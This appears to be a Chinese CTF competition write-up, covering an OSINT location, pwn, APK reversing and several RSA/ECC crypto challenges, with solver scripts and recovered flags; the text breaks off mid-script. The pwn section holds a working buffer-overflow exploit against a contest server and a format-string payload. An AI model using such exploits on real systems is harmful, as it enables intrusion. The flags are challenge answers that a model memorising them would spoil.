虽然是个小比赛,但是怀着去年因为差了一点没能拿到奖的执念今年又来打了((

第十名,极限拿奖()

不得不说现在AI太好用了()

OSINT

Lake

这哪是lake

Lake

找到一座一样的房子,在英国的滨海绍森德

image-20251205133616148
image-20251205133749814
image-20251205133810241

查到这个地方海拔差不多12左右

HSCCTF{51.5410, 0.6431,12}

Pwn

pwn1

64位ret2text

image-20251205142530688
image-20251205142545660
1
2
3
4
5
6
from pwn import *
io=remote("150.138.81.18",13314)
io.recvuntil(b"Enter your input: ")
io.sendline(b'A'*72+p64(0x4011EC))
io.interactive()
#HSCCTF{1fbe1436-0fdf-4105-b4fa-846720bd0715}

pwn3

格式化字符串漏洞

image-20251207124838771

手动尝试%21$s过了

image-20251207124952248

Reverse

Sign

ida mcp还是太好用了

先看下apk的主函数,发现得去看下lib

image-20251205134514669

直接交给mcp分析,得知这里就是个aes-ecb解密,密钥是p0l1st填充一下,密文是来自一个叫qwqer的文件

image-20251205134835821

去apk的资源里面找到这个文件

image-20251205135024675

解出来又一个二进制文件

image-20251205135402730

交给MCP分析,就是一个XXTEA算法,让MCP写个脚本解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import struct

# XXTEA解密算法
def xxtea_decrypt(data, key):
n = len(data)
if n < 2:
return data

rounds = 6 + 52 // n
sum = (rounds * 0x9E3779B9) & 0xFFFFFFFF

y = data[0]

while sum != 0:
e = (sum >> 2) & 3

for p in range(n-1, 0, -1):
z = data[p-1]
y = data[p] = (data[p] - ((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))) & 0xFFFFFFFF

z = data[n-1]
y = data[0] = (data[0] - ((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((sum ^ y) + (key[(0 & 3) ^ e] ^ z)))) & 0xFFFFFFFF

sum = (sum - 0x9E3779B9) & 0xFFFFFFFF

return data

# 密钥
key = [
0xA56BABCD, # CD AB 6B A5
0x1F1234F1, # F1 34 12 1F
0x12345678, # 78 56 34 12
0xFEDCBA98 # 98 BA DC FE
]

# 从checkFlag函数中提取的加密数据
# 这些是从sscanf调用中提取的16进制值
encrypted_hex_strings = [
"1e86224f", # v21的第一个字
"5efdbcb3", # v21的第二个字
"8252e24f", # v22的第一个字
"ffb382c9", # v22的第二个字
"0da76906", # v23的第一个字
"0f6eb7d5", # v23的第二个字
"e77d3b94", # v24的第一个字
"03cd5b28", # v24的第二个字
"957bfd22", # v25的第一个字
"70b96396", # v25的第二个字
"4f6fe2fe" # v26
]

# 将16进制字符串转换为整数列表(小端序)
encrypted_data = []
for hex_str in encrypted_hex_strings:
# 注意:sscanf使用%8x读取,所以已经是32位整数
value = int(hex_str, 16)
encrypted_data.append(value)

print(f"加密数据 ({len(encrypted_data)} 个字):")
for i, val in enumerate(encrypted_data):
print(f" [{i}] = 0x{val:08x}")

# 解密
decrypted = xxtea_decrypt(encrypted_data.copy(), key)

print(f"\n解密数据:")
for i, val in enumerate(decrypted):
print(f" [{i}] = 0x{val:08x}")

# 将解密后的32位整数转换为字节字符串
bytes_data = b''
for val in decrypted:
bytes_data += struct.pack('<I', val) # 小端序

print(f"\n原始字节数据 ({len(bytes_data)} 字节):")
print(bytes_data)

# 尝试解码为字符串(去除可能的填充)
try:
# 查找空字节终止符
null_pos = bytes_data.find(b'\x00')
if null_pos != -1:
flag = bytes_data[:null_pos].decode('utf-8')
else:
flag = bytes_data.decode('utf-8')

print(f"\nFlag: {flag}")
except UnicodeDecodeError:
print("\n无法解码为UTF-8字符串")
print("尝试ASCII解码:")
try:
flag = bytes_data.decode('ascii', errors='ignore')
print(f"Flag (ASCII): {flag}")
except:
print("也无法解码为ASCII")
#flag{3afca981-b75b-435f-85ec-b2a3a85c4235}

Crypto

Ancient

随波逐流一把梭

image-20251205135746049

EZRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import *

def tran(n):
s_bin = bin(n)[2:]
bit_map = {'0': '10', '1': '01'}
p_bin = '11' + ''.join([bit_map[bit] for bit in s_bin[1:]])
return int(p_bin, 2)

def keygen(nbit):
while True:
s = getPrime(nbit)
p = tran(s)
if not isPrime(p):
continue
s_bin = bin(s)[2:].zfill(nbit)
q_bin = (s_bin[:nbit // 2]
+ '1' * (nbit // 2)
+ s_bin[nbit // 2:]
+ '1' * (nbit // 2))
q = int(q_bin, 2)
if isPrime(q):
return p,q

flag = "flag{____________________________}"
nbit = 256
p, q = keygen(nbit)
m = bytes_to_long(flag.encode())
e= 65537
n = p * q
c = pow(m, e, n)

print(f'n = {n}')
print(f'c = {c}')

"""
n = 97500437901440388417198788454954892885829765317271438600836638419723842224011100091990654907349042873594131382232421640267091732569264390052236076620148372084122607139079558728860385251369576795723604753566616558793072715394596559965112752835650808765911364805382628147988309718393764596614456741590220757591
c = 7738615614182124736230909980262535479827406389377664909203540758689122759528168600427345931034997504030657746278863273550729288326235414854206217548620396163736109673531409510422631464901846302450760457216706035370273167926580473904029057693564485585891556568420324605915383565319685765532478198539656924536
"""

Gemini太好用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from Crypto.Util.number import long_to_bytes

# Challenge data
n = 97500437901440388417198788454954892885829765317271438600836638419723842224011100091990654907349042873594131382232421640267091732569264390052236076620148372084122607139079558728860385251369576795723604753566616558793072715394596559965112752835650808765911364805382628147988309718393764596614456741590220757591
c = 7738615614182124736230909980262535479827406389377664909203540758689122759528168600427345931034997504030657746278863273550729288326235414854206217548620396163736109673531409510422631464901846302450760457216706035370273167926580473904029057693564485585891556568420324605915383565319685765532478198539656924536
e = 65537
CONST_TERM = 3 * (4**255) + (2 * (4**255 - 1)) // 3

def get_p_fast(s_val):
masked_s = s_val & ((1 << 255) - 1)
var_part = 0
temp = masked_s
i = 0
while temp > 0:
if temp & 1:
var_part += (1 << (2 * i)) # 4^i == 2^(2*i)
temp >>= 1
i += 1

return CONST_TERM - var_part

def get_q_fast(s_val):
# q construction:
# High(s) || Ones(128) || Low(s) || Ones(128)
H = s_val >> 128
L = s_val & ((1 << 128) - 1)
ONES = (1 << 128) - 1

return (H << 384) | (ONES << 256) | (L << 128) | ONES

# --- Depth First Search ---

s_found = None

def dfs(idx, current_s):
global s_found
if s_found: return

# Base case: we have determined all 256 bits
if idx == 256:
p = get_p_fast(current_s)
q = get_q_fast(current_s)
if p * q == n:
s_found = current_s
return

# Check mask: Verify n mod 2^(2*bit_index + 2)
# Bit `idx` of s affects p at position 2*idx.
# So we can verify up to 2*idx + 2 bits of precision.
mask = (1 << (2 * idx + 2)) - 1

# Try bit 0 and bit 1
# Constraint: s is generated by getPrime(256), so MSB (bit 255) must be 1.
candidates = [0, 1]
if idx == 255:
candidates = [1]

for bit in candidates:
next_s = current_s | (bit << idx)

# We calculate p and q with the bits we know so far.
# Higher bits are 0, which contributes 0 to the variable subtraction in p,
# which is mathematically consistent for modulo checking the lower bits.
p_val = get_p_fast(next_s)
q_val = get_q_fast(next_s)

if (p_val * q_val) & mask == n & mask:
dfs(idx + 1, next_s)

print("[*] Starting DFS to recover s...")
dfs(0, 0)

if s_found:
print(f"[+] Found s: {s_found}")
p = get_p_fast(s_found)
q = get_q_fast(s_found)

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)
print(f"[+] Flag: {flag.decode()}")
else:
print("[-] Failed to find s.")
#flag{n1ce_th1s_RSA_I_can_do_it}

Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Util.number import *


def gen_rev_sum(m,p):
sum = 0
round = 0
while m > 0:
digit = m % p
if round % 2 == 0:
sum -= digit
else:
sum += digit
m = m // p
round += 1
return sum // 2025


e = 65537
p = getPrime(256)
q = getPrime(256)
n = p*q

m1 = getRandomNBitInteger(2048)
m2 = getRandomNBitInteger(2048)
sum1 = gen_rev_sum(m1, p)
sum2 = gen_rev_sum(m2, p)

flag = "flag{--------------------------}"
m = bytes_to_long(flag.encode())

print("m1 =",m1)
print("m2 =",m2)
print("sum1 =",sum1)
print("sum2 =",sum2)
print("n =",n)
print("c =",pow(m,e,n))

'''
m1 = 17322548249387769406385507000191215801044910756841784387283679508067232037647009879640247663005640315645559929483973978388785385751219073137080976227046261663059832428571101292873255962114141666488474602734594597852331665601154571683480014721045567844719377268571343706508041194359642732322649799872642255094259428635455750138217286588825326703937255171250131117864604764478573786940615096044575610751081788573681131616312486987096717266320380202191909867687322859634487150465591581523036586129341984826904474237818210411872793917742756628712320922128969576851582027757934655202892557206052328142121974846460835879379
m2 = 29770749505949559271464509877642735633388289947852331255230201935471628731047838190019590503471311260422939188831886032391799282413808339483805109656799786202448656409753608524222447399741340441803183979217817801933166848028113568228217090419247166878248450792302177597130681740006379413412297487888656975884867850858832779733076818160854085244264177562471933684902341628858046181331683501978826962693104997686104748486850900546849316714934730338449894336151567737740558472664876717516650156395237362632196760323299658988296623556674223583771795447537227301625104687705109034611911834940501083977979641467845119043780
sum1 = -108877560874638575191632670246326227208412819991287356983577291185528002487
sum2 = -47122048431044787786292644180145597499319125719652288525187634667738055282
n = 9020951256034058214321622067945640395058903219618790136239198219605516437223449048642101160150934286238922049363203171871230111420670637737169565825694393
c = 3323425622556846027480153848276857423081641901016156494250966280342935316300495906916254739461788219592704051961044937129981786472345610933524261214506540
e = 65537
'''

Gemini太好用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from Crypto.Util.number import long_to_bytes, inverse
import math

# --- Data from the challenge ---
m1 = 17322548249387769406385507000191215801044910756841784387283679508067232037647009879640247663005640315645559929483973978388785385751219073137080976227046261663059832428571101292873255962114141666488474602734594597852331665601154571683480014721045567844719377268571343706508041194359642732322649799872642255094259428635455750138217286588825326703937255171250131117864604764478573786940615096044575610751081788573681131616312486987096717266320380202191909867687322859634487150465591581523036586129341984826904474237818210411872793917742756628712320922128969576851582027757934655202892557206052328142121974846460835879379
m2 = 29770749505949559271464509877642735633388289947852331255230201935471628731047838190019590503471311260422939188831886032391799282413808339483805109656799786202448656409753608524222447399741340441803183979217817801933166848028113568228217090419247166878248450792302177597130681740006379413412297487888656975884867850858832779733076818160854085244264177562471933684902341628858046181331683501978826962693104997686104748486850900546849316714934730338449894336151567737740558472664876717516650156395237362632196760323299658988296623556674223583771795447537227301625104687705109034611911834940501083977979641467845119043780
sum1 = -108877560874638575191632670246326227208412819991287356983577291185528002487
sum2 = -47122048431044787786292644180145597499319125719652288525187634667738055282
n = 9020951256034058214321622067945640395058903219618790136239198219605516437223449048642101160150934286238922049363203171871230111420670637737169565825694393
c = 3323425622556846027480153848276857423081641901016156494250966280342935316300495906916254739461788219592704051961044937129981786472345610933524261214506540
e = 65537

def recover_flag():
# Base values before adding the remainders
V1 = m1 + 2025 * sum1
V2 = m2 + 2025 * sum2

# We are looking for remainders r1, r2 in [0, 2024]
# such that gcd(V1 + r1, V2 + r2) contains the factor (p + 1)

limit = 2025
print(f"[*] Starting brute force for r1, r2 in range({limit})...")

# Optimization: Pre-calculate V2 list to avoid addition in inner loop
v2_list = [V2 + r for r in range(limit)]

for r1 in range(limit):
target_v1 = V1 + r1

# We only print occasionally to keep output clean
if r1 % 500 == 0:
print(f"[*] Checking r1 = {r1}...")

for r2 in range(limit):
target_v2 = v2_list[r2]

# Compute GCD
g = math.gcd(target_v1, target_v2)

# Filter: p is 256 bits, so p+1 is 256 bits.
# We look for a GCD that is significant (at least 250 bits)
if g.bit_length() > 250:
# g is likely k * (p + 1).
# Since m1, m2 are random, k is likely very small (often 1).
# We try dividing g by small k to find p.

for k in range(1, 20): # Check small factors
if g % k == 0:
candidate_p_plus_1 = g // k
candidate_p = candidate_p_plus_1 - 1

# Verify prime candidate against n
if candidate_p > 1 and n % candidate_p == 0:
print(f"[+] Found p with r1={r1}, r2={r2}, k={k}")
return candidate_p
return None

p = recover_flag()

if p:
q = n // p
print(f"[+] p = {p}")
print(f"[+] q = {q}")

# Standard RSA Decryption
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()

print(f"\n[+] Flag: {flag}")
else:
print("[-] Failed to find p.")
#flag{Reverse_Sum_Mod_p+i_GCD_2025!}

Where

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
import random

flag = "flag{_______________________________}"
m = bin(bytes_to_long(flag.encode()))[2:]
p = getPrime(300)
q = getPrime(300)
n = p * q

R.<x> = PolynomialRing(Zmod(n))

def gen(m):
C = []
for bit in m:
if bit == '0':
C.append(random.randint(1, n-1))
else:
x = random.randint(1, 2^80)
y = random.randint(1, p-1)
val = 65537 + x*(1-x) +(q - x)*y + (y + x)*(q + x)
C.append(R(val))
return C

c = gen(m)
print(f"n = {n}")
print(f"c = {c}")

gemini还是太好用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from Crypto.Util.number import long_to_bytes

# ==========================================
# PASTE YOUR VALUES HERE
# ==========================================
n = ...
c = ...
# ==========================================

def solve():
print(f"[*] Analyzing {len(c)} ciphertext chunks...")

# Define the Polynomial Ring over Zmod(n)
P.<x> = PolynomialRing(Zmod(n))

q_recovered = None

# We attempt to find the prime factor q using the first few ciphertexts.
# We assume at least one of the first few bits corresponds to a '1'.
# For '1', c = 65537 + x + k*q.
# This implies x is a small root of (c - 65537 - x) mod q.

for i in range(min(5, len(c))):
try:
# Construct the polynomial f(x) = x - constant
# We want to find x such that constant - x = 0 (mod q)
# constant here is (c[i] - 65537)

target_val = c[i] - 65537
f = x - target_val

# Coppersmith parameters:
# We are looking for a root x < 2^80
# The modulus is q, which is a factor of n with size approx n^0.5
# beta = 0.5 (approximate size of divisor q relative to n)

roots = f.small_roots(X=2^80, beta=0.45)

if roots:
x_candidate = Integer(roots[0])

# If we found x, then (c[i] - 65537 - x) must be a multiple of q
# q = gcd(computed_val, n)
val_check = c[i] - 65537 - x_candidate
q_candidate = gcd(val_check, n)

if q_candidate > 1 and q_candidate < n:
q_recovered = q_candidate
print(f"[+] Recovered q using index {i}: {q_recovered}")
break

except Exception as e:
print(f"[-] Optimization failed at index {i}: {e}")
continue

if not q_recovered:
print("[-] Failed to recover q. The first few bits might be 0 or parameters need tuning.")
return

# Decrypt the bitstream
# For '1' bits: (c - 65537) % q should be small (< 2^80)
# For '0' bits: (c - 65537) % q should be random (approx 2^300)

bits = ""
threshold = 2**85 # Slightly higher than 2^80 to be safe

for val in c:
# Calculate residue modulo q
residue = (val - 65537) % q_recovered

if residue < threshold:
bits += "1"
else:
bits += "0"

print(f"[*] Recovered bits: {bits}")

# Convert bits to flag
try:
flag_int = int(bits, 2)
flag = long_to_bytes(flag_int)
print(f"\n[+] FLAG: {flag.decode(errors='ignore')}")
except Exception as e:
print(f"[-] Error decoding flag: {e}")

solve()
#flag{where_1s_th5_flag_where}

Sign_in

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import *
from gmpy2 import *
import random

get_context().precision = 2048

L = 5
S = getPrime(144)
a = getPrime(32)
b = random.randint(0, S - 1)

def split_and_pad_single_char_rule(msg, L):
segments = []
assert L >= 1
pad_len = L - 1
for char_idx, char_byte in enumerate(msg):
char_ascii = char_byte
pad_bytes = bytes([(char_ascii + i + 1) % 256 for i in range(pad_len)])
seg_bytes = bytes([char_byte]) + pad_bytes
segments.append(bytes_to_long(seg_bytes))
return segments

def encrypt_segment(m_i, a, b, M):
return (a * m_i + b) % M

flag = "flag{___________________}"
msg_bytes = flag.encode()
m_segments = split_and_pad_single_char_rule(msg_bytes, L)
c_segments = [encrypt_segment(mi, a, b, S) for mi in m_segments]

print(f"a = {a}")
print(f"S = {S}")
print(f"L = {L}")
print(f"C = {c_segments}")
print(f'M = {m_segments}')

'''
a = 3517115977
S = 13338196046628817705384101887069807236659077
L = 5
C = [6399813929853868574459915097120849511644924, 6399813929853868574460006087942330564102834, 6399813929853868574459839271436281967929999, 6399813929853868574459930262257763020387909, 6399813929853868574460233564996033195247609, 6399813929853868574460112243900725125303729, 6399813929853868574459111344864433548266719, 6399813929853868574459930262257763020387909, 6399813929853868574460036418216157581588804, 6399813929853868574459808941162454950444029, 6399813929853868574459111344864433548266719, 6399813929853868574460036418216157581588804, 6399813929853868574459808941162454950444029, 6399813929853868574460127409037638634046714, 6399813929853868574459096179727520039523734, 6399813929853868574459930262257763020387909, 6399813929853868574459899931983936002901939, 6399813929853868574460127409037638634046714, 6399813929853868574459945427394676529130894, 6399813929853868574459172005412087583238659, 6399813929853868574460097078763811616560744, 6399813929853868574459808941162454950444029, 6399813929853868574460188069585292669018654, 6399813929853868574459960592531590037873879, 6399813929853868574460188069585292669018654, 6399813929853868574459960592531590037873879, 6399813929853868574460263895269860212733579]
'''

qwen真好用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from Crypto.Util.number import *
from gmpy2 import invert

# 给定参数
a = 3517115977
S = 13338196046628817705384101887069807236659077
L = 5
C = [
6399813929853868574459915097120849511644924,
6399813929853868574460006087942330564102834,
6399813929853868574459839271436281967929999,
6399813929853868574459930262257763020387909,
6399813929853868574460233564996033195247609,
6399813929853868574460112243900725125303729,
6399813929853868574459111344864433548266719,
6399813929853868574459930262257763020387909,
6399813929853868574460036418216157581588804,
6399813929853868574459808941162454950444029,
6399813929853868574459111344864433548266719,
6399813929853868574460036418216157581588804,
6399813929853868574459808941162454950444029,
6399813929853868574460127409037638634046714,
6399813929853868574459096179727520039523734,
6399813929853868574459930262257763020387909,
6399813929853868574459899931983936002901939,
6399813929853868574460127409037638634046714,
6399813929853868574459945427394676529130894,
6399813929853868574459172005412087583238659,
6399813929853868574460097078763811616560744,
6399813929853868574459808941162454950444029,
6399813929853868574460188069585292669018654,
6399813929853868574459960592531590037873879,
6399813929853868574460188069585292669018654,
6399813929853868574459960592531590037873879,
6399813929853868574460263895269860212733579
]

# Step 1: 计算 'f' 对应的 m
def char_to_m(c, L=5):
seg = bytes([(c + i) % 256 for i in range(L)])
return bytes_to_long(seg)

m_f = char_to_m(ord('f')) # 'f' = 102

# Step 2: 恢复 b
c0 = C[0]
b = (c0 - a * m_f) % S

# Step 3: 计算 a 的模逆
a_inv = invert(a, S)

# Step 4: 解密所有段
flag_chars = []
for c in C:
m_i = (a_inv * (c - b)) % S
# 转为字节(5字节)
try:
seg_bytes = long_to_bytes(m_i, L) # 强制5字节
except:
# 如果长度不对,说明出错
seg_bytes = long_to_bytes(m_i)
if len(seg_bytes) < L:
seg_bytes = b'\x00'*(L - len(seg_bytes)) + seg_bytes
elif len(seg_bytes) > L:
raise ValueError("Invalid segment length")
# 第一个字节是原始字符
original_char = seg_bytes[0]
flag_chars.append(chr(original_char))

flag = ''.join(flag_chars)
print("Recovered flag:", flag)
#flag{s1gn_1n_t0geth5r_xixi}

StillRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from Crypto.Util.number import *
from gmpy2 import *


def gen():
while(1):
p1 = getPrime(128)
p2 = getPrime(512)
q2 = getPrime(512)
s = q2 & ((1 << 56) - 1)
q1 = 2 * p1 + s
r1 = 2 * q1 + s
if is_prime(q1) and is_prime(r1):
n1 = p1 * q1 * r1
n2 = p2 * q2
break
return n1,n2,p1,p2


n1,n2, p1, p2 = gen()
e = 65537

flag = "flag{---------------------------------------}".encode()
m1 = bytes_to_long(flag[: (len(flag)+1) // 2])
m2 = bytes_to_long(flag[(len(flag)+1) // 2 :])

c1 = powmod(m1, e, n1)
c2 = powmod(m2, e, n2)

gift = p2 >> 262

print(f"e = {e}")
print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"p1 = {p1}")
print(f"gift = {gift}")

'''
e = 65537
n1 = 153535945724301761635048132162798014938917969845079448489545851494873442295873133893384411532854581537976576911336083
n2 = 84803188245030813883191077133506154725049469687779805365997839479650548017159380111143407950887981137367898417071670318175553216747909857623397932606557900805065642334402683077054566841962022705300815246585360967197421835628665369002004215185956537117678561509558467837953178340079218753108643544534307300779
c1 = 91344805342373294041484814707589753503672726499268929615405258196853851463816933913580106446612439099622637694719344
c2 = 65030067863230521561732635665855986696538207379818716373900645903663706519394086998921178373079966943522635174648820466855368885032783946013202871621053763074374114131710373913193434831822631037825109588592562599802388631816046111419285162200967000421088941791542557891726383026274591733889350668008350880276
p1 = 267735952598198080786845163083151774667
gift = 1068605981024067598428983610552162240530726981658336444437430658822896756780
'''

Gemini还是太好用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from Crypto.Util.number import long_to_bytes

# ================= 数据区域 =================
e = 65537
n1 = 153535945724301761635048132162798014938917969845079448489545851494873442295873133893384411532854581537976576911336083
n2 = 84803188245030813883191077133506154725049469687779805365997839479650548017159380111143407950887981137367898417071670318175553216747909857623397932606557900805065642334402683077054566841962022705300815246585360967197421835628665369002004215185956537117678561509558467837953178340079218753108643544534307300779
c1 = 91344805342373294041484814707589753503672726499268929615405258196853851463816933913580106446612439099622637694719344
c2 = 65030067863230521561732635665855986696538207379818716373900645903663706519394086998921178373079966943522635174648820466855368885032783946013202871621053763074374114131710373913193434831822631037825109588592562599802388631816046111419285162200967000421088941791542557891726383026274591733889350668008350880276
p1 = 267735952598198080786845163083151774667
gift = 1068605981024067598428983610552162240530726981658336444437430658822896756780

# ================= 第一部分:恢复 s 和 m1 =================
print("[*] Starting Part 1: Recovering s and m1...")

# 方程: 3s^2 + 10*p1*s + (8*p1^2 - n1/p1) = 0
N_prime = n1 // p1
a = 3
b = 10 * p1
c = 8 * p1**2 - N_prime

# 二次方程求根公式 delta = b^2 - 4ac
delta = b**2 - 4 * a * c
assert delta > 0
# s = (-b + sqrt(delta)) / 2a
sqrt_delta = Integer(delta).isqrt()
s = (-b + sqrt_delta) // (2 * a)

print(f"[+] Recovered s: {s}")

q1 = 2 * p1 + s
r1 = 2 * q1 + s
assert n1 == p1 * q1 * r1

phi1 = (p1 - 1) * (q1 - 1) * (r1 - 1)
d1 = inverse_mod(e, phi1)
m1 = pow(c1, d1, n1)
print(f"[+] m1 recovered: {long_to_bytes(int(m1))}")


# ================= 第二部分:恢复 p2 和 m2 =================
print("\n[*] Starting Part 2: Coppersmith to recover p2...")

# 1. 计算 p2 的低位
# 已知 s 是 q2 的低 56 位
# n2 = p2 * q2 mod 2^56
# n2 = p2 * s mod 2^56 => p2 = n2 * s^-1 mod 2^56
mask_56 = 2**56
s_inv = inverse_mod(s, mask_56)
p2_low = (n2 * s_inv) % mask_56

# 2. 准备 p2 的高位
# gift 是 p2 >> 262
p2_high = gift << 262

# 3. 构造多项式
# p2 = p2_high + x * 2^56 + p2_low
# 我们需要找到 x,使得 (p2_high + x * 2^56 + p2_low) 是 n2 的因子
# 也就是求 f(x) = p2_high + p2_low + x*2^56 模 n2 的小因子根

P = PolynomialRing(Zmod(n2), implementation='NTL', names='x')
x = P.gen()

f = p2_high + p2_low + x * (2**56)

# 我们寻找的是模 p2 的根,p2 是 n2 的因子
# p2 大小约为 512 bits,n2 为 1024 bits => beta = 0.5
# 未知部分 x 的范围:262 - 56 = 206 bits
# 只要 x < n2 ^ (beta^2) 即可。
# n2^(0.25) = 2^256。 206 < 256,理论上可以解出。

# 调整 inverse 为 monic 多项式
f = f.monic()
roots = f.small_roots(X=2**208, beta=0.48) # beta 稍微设小一点点增加容错,理论0.5

if roots:
diff = int(roots[0])
p2_recovered = p2_high + diff * (2**56) + p2_low

# 验证
if n2 % p2_recovered == 0:
print("[+] p2 successfully factored!")
q2_recovered = n2 // p2_recovered
phi2 = (p2_recovered - 1) * (q2_recovered - 1)
d2 = inverse_mod(e, phi2)
m2 = pow(c2, d2, n2)
print(f"[+] m2 recovered: {long_to_bytes(int(m2))}")

# 拼接 Flag
flag = long_to_bytes(int(m1)) + long_to_bytes(int(m2))
print(f"\n[SUCCESS] Flag: {flag.decode()}")
else:
print("[-] Roots found but factorization failed.")
else:
print("[-] No roots found.")
#flag{Im_a_fw_that_only_crafts_RSA_challenges}

Abg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from Crypto.Util.number import *

def ECC(bit):
g = getPrime(bit)
a = getPrime(bit)
b = getPrime(bit)

E = EllipticCurve(GF(g),[a,b])
J = E.random_point()
K = E.random_point()
L = E.random_point()

r = getPrime(bit // 2)
k = getPrime(16)

s = r * J
s1 = r * J + k * L
s2 = r * k * J

return L.xy(), s.xy(), s1.xy(), s2.xy(), K.xy()

def RSA(m, s, bit):
p = getPrime(bit)
q = getPrime(bit)
rr = getPrime(bit)
n = p * q

gift = pow(rr, rr * (p-1), n)
enc = pow(m, int(s), n)

return gift, n, enc

flag = "flag{--------------------------------}"
m = bytes_to_long(flag.encode())

L, s, s1, s2, K = ECC(256)
gift, n, enc = RSA(m, abs(int(s[0] - s[1])), 512)

print("L =", L)
print("s1 =", s1)
print("s2 =", s2)
print("K =", K)
print("enc =", enc)
print("gift =", gift)
print("n =", n)

'''
L = (5612832632021037413595021905856059690922175615680426850888866965067320107819, 44286844991960812568914524464365492264373223903614475371204877844888511445056)
s1 = (3105425529931638108939225244969805843864193431777172585017902596003213488900, 21204057924591170352686471525538286905154747896755584173932333298433282086561)
s2 = (17163600514231693116809112204202083823354850361231568034507586407851022654385, 54523130652066750636213932541583111123904814992668862332727980305098543395332)
K = (84626796737477467367556465702814556148204747766624017939626441693356336891461, 20412858373065309258609569831347478221615957387864164638932871773748933195219)
enc = 77779248799562415787538731320739960822457760506615718084036279480880899171418681853821326436404494983875803921684003465855970542931724878457768817162166413967384579329072032251210520838992258491716245608876204830909672245330785235016998427930933850050898878548191256398496024681498083646200326639489612460844
gift = 27203859362379532209762716293585970661584968016465564915669656593570376250661463300469214869975225133883120425672896040102408082124157996563344160198308488970094544684114508100388704667496464400261830996514109943777210955076236899363247079300339008914936852187908757699066223721473477803084358704291887973927
n = 99350851709648177478181442570691890135193362203180628334780894515389735176666242281991349782055218048443285160186921692026870729324336754641181928398906259668775047724023372863155472201773397077316170491389813660679924150036914095032544796724427607899057109320556570067643629947815982002736525967748207154359
'''

gemini还是太好用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from Crypto.Util.number import long_to_bytes

# --- 题目数据 ---
L_coords = (5612832632021037413595021905856059690922175615680426850888866965067320107819, 44286844991960812568914524464365492264373223903614475371204877844888511445056)
s1_coords = (3105425529931638108939225244969805843864193431777172585017902596003213488900, 21204057924591170352686471525538286905154747896755584173932333298433282086561)
s2_coords = (17163600514231693116809112204202083823354850361231568034507586407851022654385, 54523130652066750636213932541583111123904814992668862332727980305098543395332)
K_coords = (84626796737477467367556465702814556148204747766624017939626441693356336891461, 20412858373065309258609569831347478221615957387864164638932871773748933195219)

enc = 77779248799562415787538731320739960822457760506615718084036279480880899171418681853821326436404494983875803921684003465855970542931724878457768817162166413967384579329072032251210520838992258491716245608876204830909672245330785235016998427930933850050898878548191256398496024681498083646200326639489612460844
